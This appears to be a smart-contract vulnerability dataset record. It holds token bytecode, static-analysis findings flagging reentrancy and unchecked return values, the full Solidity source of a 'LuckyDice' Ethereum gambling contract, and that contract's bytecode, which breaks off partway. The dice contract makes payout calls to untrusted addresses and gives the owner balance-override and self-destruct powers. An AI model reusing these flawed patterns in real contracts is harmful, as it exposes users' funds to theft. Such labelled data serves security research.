b506101c66102823660046115f9565b61052a565b34801561029357600080fd5b5061021461054c565b3480156102a857600080fd5b506102146102b73660046117df565b6105c0565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610173565b3480156102f057600080fd5b50604080518082019091526004815263544e424360e01b6020820152610166565b34801561031d57600080fd5b5061021461032c3660046117df565b6105e5565b34801561033d57600080fd5b5061019c61034c3660046116ad565b61060a565b34801561035d57600080fd5b5061021461036c3660046116d9565b610617565b34801561037d57600080fd5b506102146106ad565b34801561039257600080fd5b506102146106e3565b3480156103a757600080fd5b506101c66103b6366004611633565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ee338484610aab565b5060015b92915050565b6000610405848484610bcf565b610457843361045285604051806060016040528060288152602001611a12602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610eb2565b610aab565b5060019392505050565b6000546001600160a01b031633146104945760405162461bcd60e51b815260040161048b9061187b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104df5760405162461bcd60e51b815260040161048b9061187b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461051d57600080fd5b4761052781610eec565b50565b6001600160a01b0381166000908152600260205260408120546103f290610f71565b6000546001600160a01b031633146105765760405162461bcd60e51b815260040161048b9061187b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105e057600080fd5b600b55565b600c546001600160a01b0316336001600160a01b03161461060557600080fd5b600a55565b60006103ee338484610bcf565b6000546001600160a01b031633146106415760405162461bcd60e51b815260040161048b9061187b565b60005b81518110156106a957600160066000848481518110610665576106656119c2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a181611991565b915050610644565b5050565b600c546001600160a01b0316336001600160a01b0316146106cd57600080fd5b60006106d83061052a565b905061052781610ff5565b6000546001600160a01b0316331461070d5760405162461bcd60e51b815260040161048b9061187b565b600f54600160a01b900460ff16156107675760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a630826a084595161401484a000000610aab565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107df57600080fd5b505afa1580156107f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108179190611616565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085f57600080fd5b505afa158015610873573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108979190611616565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108df57600080fd5b505af11580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109179190611616565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109478161052a565b60008061095c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bf57600080fd5b505af11580156109d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f891906117f8565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7357600080fd5b505af1158015610a87573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a991906117c2565b6001600160a01b038316610b0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048b565b6001600160a01b038216610b6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048b565b6001600160a01b038216610c955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048b565b60008111610cf75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048b565b6000546001600160a01b03848116911614801590610d2357506000546001600160a01b03838116911614155b15610ea2576001600160a01b03831660009081526006602052604090205460ff16158015610d6a57506001600160a01b03821660009081526006602052604090205460ff16155b610d7357600080fd5b600f546001600160a01b038481169116148015610d9e5750600e546001600160a01b03838116911614155b8015610dc357506001600160a01b03821660009081526005602052604090205460ff16155b8015610dd85750600f54600160b81b900460ff165b15610e3557601054811115610dec57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e1057600080fd5b610e1b42601e611921565b6001600160a01b0383166000908152600760205260409020555b6000610e403061052a565b600f54909150600160a81b900460ff16158015610e6b5750600f546001600160a01b03858116911614155b8015610e805750600f54600160b01b900460ff165b15610ea057610e8e81610ff5565b478015610e9e57610e9e47610eec565b505b505b610ead83838361117e565b505050565b60008184841115610ed65760405162461bcd60e51b815260040161048b9190611826565b506000610ee3848661197a565b95945050505050565b600c546001600160a01b03166108fc610f06836002611189565b6040518115909202916000818181858888f19350505050158015610f2e573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f49836002611189565b6040518115909202916000818181858888f193505050501580156106a9573d6000803e3d6000fd5b6000600854821115610fd85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048b565b6000610fe26111cb565b9050610fee8382611189565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103d5761103d6119c2565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c99190611616565b816001815181106110dc576110dc6119c2565b6001600160a01b039283166020918202929092010152600e546111029130911684610aab565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113b9085906000908690309042906004016118b0565b600060405180830381600087803b15801561115557600080fd5b505af1158015611169573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610ead8383836111ee565b6000610fee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e5565b60008060006111d8611313565b90925090506111e78282611189565b9250505090565b60008060008060008061120087611359565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123290876113b6565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126190866113f8565b6001600160a01b03891660009081526002602052604090205561128381611457565b61128d84836114a1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112d291815260200190565b60405180910390a3505050505050505050565b600081836113065760405162461bcd60e51b815260040161048b9190611826565b506000610ee38486611939565b60085460009081906a084595161401484a0000006113318282611189565b821015611350575050600854926a084595161401484a00000092509050565b90939092509050565b60008060008060008060008060006113768a600a54600b546114c5565b92509250925060006113866111cb565b905060008060006113998e87878761151a565b919e509c509a509598509396509194505050505091939550919395565b6000610fee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb2565b6000806114058385611921565b905083811015610fee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048b565b60006114616111cb565b9050600061146f838361156a565b3060009081526002602052604090205490915061148c90826113f8565b30600090815260026020526040902055505050565b6008546114ae90836113b6565b6008556009546114be90826113f8565b6009555050565b60008080806114df60646114d9898961156a565b90611189565b905060006114f260646114d98a8961156a565b9050600061150a826115048b866113b6565b906113b6565b9992985090965090945050505050565b6000808080611529888661156a565b90506000611537888761156a565b90506000611545888861156a565b905060006115578261150486866113b6565b939b939a50919850919650505050505050565b600082611579575060006103f2565b6000611585838561195b565b9050826115928583611939565b14610fee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048b565b80356115f4816119ee565b919050565b60006020828403121561160b57600080fd5b8135610fee816119ee565b60006020828403121561162857600080fd5b8151610fee816119ee565b6000806040838503121561164657600080fd5b8235611651816119ee565b91506020830135611661816119ee565b809150509250929050565b60008060006060848603121561168157600080fd5b833561168c816119ee565b9250602084013561169c816119ee565b929592945050506040919091013590565b600080604083850312156116c057600080fd5b82356116cb816119ee565b946020939093013593505050565b600060208083850312156116ec57600080fd5b823567ffffffffffffffff8082111561170457600080fd5b818501915085601f83011261171857600080fd5b81358181111561172a5761172a6119d8565b8060051b604051601f19603f8301168101818110858211171561174f5761174f6119d8565b604052828152858101935084860182860187018a101561176e57600080fd5b600095505b8386101561179857611784816115e9565b855260019590950194938601938601611773565b5098975050505050505050565b6000602082840312156117b757600080fd5b8135610fee81611a03565b6000602082840312156117d457600080fd5b8151610fee81611a03565b6000602082840312156117f157600080fd5b5035919050565b60008060006060848603121561180d57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561185357858101830151858201604001528201611837565b81811115611865576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119005784516001600160a01b0316835293830193918301916001016118db565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611934576119346119ac565b500190565b60008261195657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611975576119756119ac565b500290565b60008282101561198c5761198c6119ac565b500390565b60006000198214156119a5576119a56119ac565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461052757600080fd5b801515811461052757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a6a0448e91247566366439717227702034da6c900f94076d701bc51d02f081164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,093 |
0x44ec074723ed296b8fc2b81a0f9210cb65e61077
|
pragma solidity ^0.4.18;
contract DSSafeAddSub {
function safeToAdd(uint a, uint b) internal returns (bool) {
return (a + b >= a);
}
function safeAdd(uint a, uint b) internal returns (uint) {
if (!safeToAdd(a, b)) throw;
return a + b;
}
function safeToSubtract(uint a, uint b) internal returns (bool) {
return (b <= a);
}
function safeSub(uint a, uint b) internal returns (uint) {
if (!safeToSubtract(a, b)) throw;
return a - b;
}
}
contract LuckyDice is DSSafeAddSub {
/*
* bet size >= minBet, minNumber < minRollLimit < maxRollLimit - 1 < maxNumber
*/
modifier betIsValid(uint _betSize, uint minRollLimit, uint maxRollLimit) {
if (_betSize < minBet || maxRollLimit < minNumber || minRollLimit > maxNumber || maxRollLimit - 1 <= minRollLimit) throw;
_;
}
/*
* checks game is currently active
*/
modifier gameIsActive {
if (gamePaused == true) throw;
_;
}
/*
* checks payouts are currently active
*/
modifier payoutsAreActive {
if (payoutsPaused == true) throw;
_;
}
/*
* checks only owner address is calling
*/
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
/*
* checks only treasury address is calling
*/
modifier onlyCasino {
if (msg.sender != casino) throw;
_;
}
/*
* probabilities
*/
uint[] rollSumProbability = [0, 0, 0, 0, 0, 128600, 643004, 1929012, 4501028, 9002057, 16203703, 26363168, 39223251, 54012345, 69444444, 83719135, 94521604, 100308641, 100308641, 94521604, 83719135, 69444444, 54012345, 39223251, 26363168, 16203703, 9002057, 4501028, 1929012, 643004, 128600];
uint probabilityDivisor = 10000000;
/*
* game vars
*/
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
uint constant public maxNumber = 30;
uint constant public minNumber = 5;
bool public gamePaused;
address public owner;
bool public payoutsPaused;
address public casino;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet;
int public totalBets;
uint public maxPendingPayouts;
uint public totalWeiWon = 0;
uint public totalWeiWagered = 0;
// JP
uint public jackpot = 0;
uint public jpPercentage = 40; // = 4%
uint public jpPercentageDivisor = 1000;
uint public jpMinBet = 10000000000000000; // = 0.01 Eth
// TEMP
uint tempDiceSum;
bool tempJp;
uint tempDiceValue;
bytes tempRollResult;
uint tempFullprofit;
/*
* player vars
*/
mapping(bytes32 => address) public playerAddress;
mapping(bytes32 => address) playerTempAddress;
mapping(bytes32 => bytes32) playerBetDiceRollHash;
mapping(bytes32 => uint) playerBetValue;
mapping(bytes32 => uint) playerTempBetValue;
mapping(bytes32 => uint) playerRollResult;
mapping(bytes32 => uint) playerMaxRollLimit;
mapping(bytes32 => uint) playerMinRollLimit;
mapping(address => uint) playerPendingWithdrawals;
mapping(bytes32 => uint) playerProfit;
mapping(bytes32 => uint) playerToJackpot;
mapping(bytes32 => uint) playerTempReward;
/*
* events
*/
/* log bets + output to web3 for precise 'payout on win' field in UI */
event LogBet(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint ProfitValue, uint ToJpValue,
uint BetValue, uint minRollLimit, uint maxRollLimit);
/* output to web3 UI on bet result*/
/* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/
event LogResult(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint minRollLimit, uint maxRollLimit,
uint DiceResult, uint Value, string Salt, int Status);
/* log manual refunds */
event LogRefund(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint indexed RefundValue);
/* log owner transfers */
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// jp logging
// Status: 0=win JP, 1=failed send
event LogJpPayment(bytes32 indexed DiceRollHash, address indexed PlayerAddress, uint DiceResult, uint JackpotValue,
int Status);
/*
* init
*/
function LuckyDice() {
owner = msg.sender;
casino = msg.sender;
/* init 960 = 96% (4% houseEdge)*/
ownerSetHouseEdge(960);
/* 10,000 = 1%; 55,556 = 5.5556% */
ownerSetMaxProfitAsPercentOfHouse(55556);
/* init min bet (0.1 ether) */
ownerSetMinBet(100000000000000000);
}
/*
* public function
* player submit bet
* only if game is active & bet is valid
*/
function playerMakeBet(uint minRollLimit, uint maxRollLimit, bytes32 diceRollHash, uint8 v, bytes32 r, bytes32 s) public
payable
gameIsActive
betIsValid(msg.value, minRollLimit, maxRollLimit)
{
/* checks if bet was already made */
if (playerAddress[diceRollHash] != 0x0) throw;
/* checks hash sign */
if (casino != ecrecover(diceRollHash, v, r, s)) throw;
tempFullprofit = getFullProfit(msg.value, minRollLimit, maxRollLimit);
playerProfit[diceRollHash] = getProfit(msg.value, tempFullprofit);
playerToJackpot[diceRollHash] = getToJackpot(msg.value, tempFullprofit);
if (playerProfit[diceRollHash] - playerToJackpot[diceRollHash] > maxProfit)
throw;
/* map bet id to serverSeedHash */
playerBetDiceRollHash[diceRollHash] = diceRollHash;
/* map player limit to serverSeedHash */
playerMinRollLimit[diceRollHash] = minRollLimit;
playerMaxRollLimit[diceRollHash] = maxRollLimit;
/* map value of wager to serverSeedHash */
playerBetValue[diceRollHash] = msg.value;
/* map player address to serverSeedHash */
playerAddress[diceRollHash] = msg.sender;
/* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */
maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[diceRollHash]);
/* check contract can payout on win */
if (maxPendingPayouts >= contractBalance)
throw;
/* provides accurate numbers for web3 and allows for manual refunds in case of any error */
LogBet(diceRollHash, playerAddress[diceRollHash], playerProfit[diceRollHash], playerToJackpot[diceRollHash],
playerBetValue[diceRollHash], playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash]);
}
function getFullProfit(uint _betSize, uint minRollLimit, uint maxRollLimit) internal returns (uint){
uint probabilitySum = 0;
for (uint i = minRollLimit + 1; i < maxRollLimit; i++)
{
probabilitySum += rollSumProbability[i];
}
return _betSize * safeSub(probabilityDivisor * 100, probabilitySum) / probabilitySum;
}
function getProfit(uint _betSize, uint fullProfit) internal returns (uint){
return (fullProfit + _betSize) * houseEdge / houseEdgeDivisor - _betSize;
}
function getToJackpot(uint _betSize, uint fullProfit) internal returns (uint){
return (fullProfit + _betSize) * jpPercentage / jpPercentageDivisor;
}
function withdraw(bytes32 diceRollHash, string rollResult, string salt) public
payoutsAreActive
{
/* player address mapped to query id does not exist */
if (playerAddress[diceRollHash] == 0x0) throw;
/* checks hash */
bytes32 hash = sha256(rollResult, salt);
if (diceRollHash != hash) throw;
/* get the playerAddress for this query id */
playerTempAddress[diceRollHash] = playerAddress[diceRollHash];
/* delete playerAddress for this query id */
delete playerAddress[diceRollHash];
/* map the playerProfit for this query id */
playerTempReward[diceRollHash] = playerProfit[diceRollHash];
/* set playerProfit for this query id to 0 */
playerProfit[diceRollHash] = 0;
/* safely reduce maxPendingPayouts liability */
maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[diceRollHash]);
/* map the playerBetValue for this query id */
playerTempBetValue[diceRollHash] = playerBetValue[diceRollHash];
/* set playerBetValue for this query id to 0 */
playerBetValue[diceRollHash] = 0;
/* total number of bets */
totalBets += 1;
/* total wagered */
totalWeiWagered += playerTempBetValue[diceRollHash];
tempDiceSum = 0;
tempJp = true;
tempRollResult = bytes(rollResult);
for (uint i = 0; i < 5; i++) {
tempDiceValue = uint(tempRollResult[i]) - 48;
tempDiceSum += tempDiceValue;
playerRollResult[diceRollHash] = playerRollResult[diceRollHash] * 10 + tempDiceValue;
if (tempRollResult[i] != tempRollResult[1]) {
tempJp = false;
}
}
/*
* CONGRATULATIONS!!! SOMEBODY WON JP!
*/
if (playerTempBetValue[diceRollHash] >= jpMinBet && tempJp) {
LogJpPayment(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerRollResult[diceRollHash], jackpot, 0);
uint jackpotTmp = jackpot;
jackpot = 0;
if (!playerTempAddress[diceRollHash].send(jackpotTmp)) {
LogJpPayment(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerRollResult[diceRollHash], jackpotTmp, 1);
/* if send failed let player withdraw via playerWithdrawPendingTransactions */
playerPendingWithdrawals[playerTempAddress[diceRollHash]] =
safeAdd(playerPendingWithdrawals[playerTempAddress[diceRollHash]], jackpotTmp);
}
}
/*
* pay winner
* update contract balance to calculate new max bet
* send reward
* if send of reward fails save value to playerPendingWithdrawals
*/
if (playerMinRollLimit[diceRollHash] < tempDiceSum && tempDiceSum < playerMaxRollLimit[diceRollHash]) {
/* safely reduce contract balance by player profit */
contractBalance = safeSub(contractBalance, playerTempReward[diceRollHash]);
/* update total wei won */
totalWeiWon = safeAdd(totalWeiWon, playerTempReward[diceRollHash]);
// adding JP percentage
playerTempReward[diceRollHash] = safeSub(playerTempReward[diceRollHash], playerToJackpot[diceRollHash]);
jackpot = safeAdd(jackpot, playerToJackpot[diceRollHash]);
/* safely calculate payout via profit plus original wager */
playerTempReward[diceRollHash] = safeAdd(playerTempReward[diceRollHash], playerTempBetValue[diceRollHash]);
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempReward[diceRollHash], salt, 1);
/* update maximum profit */
setMaxProfit();
/*
* send win - external call to an untrusted contract
* if send fails map reward value to playerPendingWithdrawals[address]
* for withdrawal later via playerWithdrawPendingTransactions
*/
if (!playerTempAddress[diceRollHash].send(playerTempReward[diceRollHash])) {
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempReward[diceRollHash], salt, 2);
/* if send failed let player withdraw via playerWithdrawPendingTransactions */
playerPendingWithdrawals[playerTempAddress[diceRollHash]] =
safeAdd(playerPendingWithdrawals[playerTempAddress[diceRollHash]], playerTempReward[diceRollHash]);
}
return;
} else {
/*
* no win
* update contract balance to calculate new max bet
*/
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempBetValue[diceRollHash], salt, 0);
/*
* safe adjust contractBalance
* setMaxProfit
*/
contractBalance = safeAdd(contractBalance, (playerTempBetValue[diceRollHash]));
/* update maximum profit */
setMaxProfit();
return;
}
}
/*
* public function
* in case of a failed refund or win send
*/
function playerWithdrawPendingTransactions() public
payoutsAreActive
returns (bool)
{
uint withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
/* external call to untrusted contract */
if (msg.sender.call.value(withdrawAmount)()) {
return true;
} else {
/* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */
/* player can try to withdraw again later */
playerPendingWithdrawals[msg.sender] = withdrawAmount;
return false;
}
}
/* check for pending withdrawals */
function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) {
return playerPendingWithdrawals[addressToCheck];
}
/*
* internal function
* sets max profit
*/
function setMaxProfit() internal {
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
/*
* owner address only functions
*/
function()
payable
onlyOwner
{
/* safely update contract balance */
contractBalance = safeAdd(contractBalance, msg.value);
/* update the maximum profit */
setMaxProfit();
}
/* only owner adjust contract balance variable (only used for max profit calc) */
function ownerUpdateContractBalance(uint newContractBalanceInWei) public
onlyOwner
{
contractBalance = newContractBalanceInWei;
}
/* only owner address can set houseEdge */
function ownerSetHouseEdge(uint newHouseEdge) public
onlyOwner
{
houseEdge = newHouseEdge;
}
/* only owner address can set maxProfitAsPercentOfHouse */
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
/* only owner address can set minBet */
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
/* only owner address can set jpMinBet */
function ownerSetJpMinBet(uint newJpMinBet) public
onlyOwner
{
jpMinBet = newJpMinBet;
}
/* only owner address can transfer ether */
function ownerTransferEther(address sendTo, uint amount) public
onlyOwner
{
/* safely update contract balance when sending out funds*/
contractBalance = safeSub(contractBalance, amount);
/* update max profit */
setMaxProfit();
if (!sendTo.send(amount)) throw;
LogOwnerTransfer(sendTo, amount);
}
/* only owner address can do manual refund
* used only if bet placed + server error had a place
* filter LogBet by address and/or diceRollHash
* check the following logs do not exist for diceRollHash and/or playerAddress[diceRollHash] before refunding:
* LogResult or LogRefund
* if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions
*/
function ownerRefundPlayer(bytes32 diceRollHash, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public
onlyOwner
{
/* safely reduce pendingPayouts by playerProfit[rngId] */
maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit);
/* send refund */
if (!sendTo.send(originalPlayerBetValue)) throw;
/* log refunds */
LogRefund(diceRollHash, sendTo, originalPlayerBetValue);
}
/* only owner address can set emergency pause #1 */
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
/* only owner address can set emergency pause #2 */
function ownerPausePayouts(bool newPayoutStatus) public
onlyOwner
{
payoutsPaused = newPayoutStatus;
}
/* only owner address can set casino address */
function ownerSetCasino(address newCasino) public
onlyOwner
{
casino = newCasino;
}
/* only owner address can set owner address */
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
/* only owner address can suicide - emergency */
function ownerkill() public
onlyOwner
{
suicide(owner);
}
}
|
0x6080604052600436106101d8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806311daa2d014610250578063148174cd1461027b57806315c12d4d146102be57806323214fab146102e9578063268d50fe14610314578063301cf6e7146103415780633a4f6999146103705780633c314a911461039b5780634025b5a8146103f257806343c1598d1461041f5780634b7fcee71461044a5780634f44728d1461047957806355b93031146104bc5780635e968a49146104e7578063666f4cad146105145780636b31ee011461053f5780636c8429fd1461056a5780636cdf4c90146105955780636eacd48a146105c257806377e13c10146105f15780637ac37d58146106525780638b7afe2e1461069f5780638da5cb5b146106ca5780639403e8dd146107215780639619367d14610778578063a5304fc3146107a3578063a5f4af33146107d0578063b539cd55146107ff578063befa1e2f1461082a578063c3de1ab914610855578063c73202ff14610884578063cf832ce2146108af578063d263b7eb14610914578063d667dcd71461092b578063e31cbd7a14610956578063e5c774de146109c7578063ed62f501146109f2578063fcd9f4ce14610a1d575b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561023457600080fd5b61024060045434610ada565b60048190555061024e610afc565b005b34801561025c57600080fd5b50610265610b19565b6040518082815260200191505060405180910390f35b34801561028757600080fd5b506102bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1f565b005b3480156102ca57600080fd5b506102d3610bbf565b6040518082815260200191505060405180910390f35b3480156102f557600080fd5b506102fe610bc5565b6040518082815260200191505060405180910390f35b34801561032057600080fd5b5061033f60048036038101908080359060200190929190505050610bcb565b005b34801561034d57600080fd5b50610356610c31565b604051808215151515815260200191505060405180910390f35b34801561037c57600080fd5b50610385610c44565b6040518082815260200191505060405180910390f35b3480156103a757600080fd5b506103dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c49565b6040518082815260200191505060405180910390f35b3480156103fe57600080fd5b5061041d60048036038101908080359060200190929190505050610c92565b005b34801561042b57600080fd5b50610434610cf8565b6040518082815260200191505060405180910390f35b34801561045657600080fd5b50610477600480360381019080803515159060200190929190505050610cff565b005b34801561048557600080fd5b506104ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d78565b005b3480156104c857600080fd5b506104d1610e18565b6040518082815260200191505060405180910390f35b3480156104f357600080fd5b5061051260048036038101908080359060200190929190505050610e1d565b005b34801561052057600080fd5b50610529610e8b565b6040518082815260200191505060405180910390f35b34801561054b57600080fd5b50610554610e91565b6040518082815260200191505060405180910390f35b34801561057657600080fd5b5061057f610e97565b6040518082815260200191505060405180910390f35b3480156105a157600080fd5b506105c060048036038101908080359060200190929190505050610e9d565b005b3480156105ce57600080fd5b506105ef600480360381019080803515159060200190929190505050610f03565b005b61065060048036038101908080359060200190929190803590602001909291908035600019169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610f7c565b005b34801561065e57600080fd5b5061069d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061141a565b005b3480156106ab57600080fd5b506106b4611518565b6040518082815260200191505060405180910390f35b3480156106d657600080fd5b506106df61151e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072d57600080fd5b50610736611544565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078457600080fd5b5061078d61156a565b6040518082815260200191505060405180910390f35b3480156107af57600080fd5b506107ce60048036038101908080359060200190929190505050611570565b005b3480156107dc57600080fd5b506107e56115d6565b604051808215151515815260200191505060405180910390f35b34801561080b57600080fd5b50610814611708565b6040518082815260200191505060405180910390f35b34801561083657600080fd5b5061083f61170e565b6040518082815260200191505060405180910390f35b34801561086157600080fd5b5061086a611714565b604051808215151515815260200191505060405180910390f35b34801561089057600080fd5b50610899611727565b6040518082815260200191505060405180910390f35b3480156108bb57600080fd5b506109126004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061172d565b005b34801561092057600080fd5b5061092961182a565b005b34801561093757600080fd5b506109406118c1565b6040518082815260200191505060405180910390f35b34801561096257600080fd5b5061098560048036038101908080356000191690602001909291905050506118c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109d357600080fd5b506109dc6118fa565b6040518082815260200191505060405180910390f35b3480156109fe57600080fd5b50610a07611900565b6040518082815260200191505060405180910390f35b348015610a2957600080fd5b50610ad86004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611906565b005b6000610ae68383612ae0565b1515610af157600080fd5b818301905092915050565b620f424060075460045402811515610b1057fe5b04600681905550565b600e5481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7b57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b60075481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2757600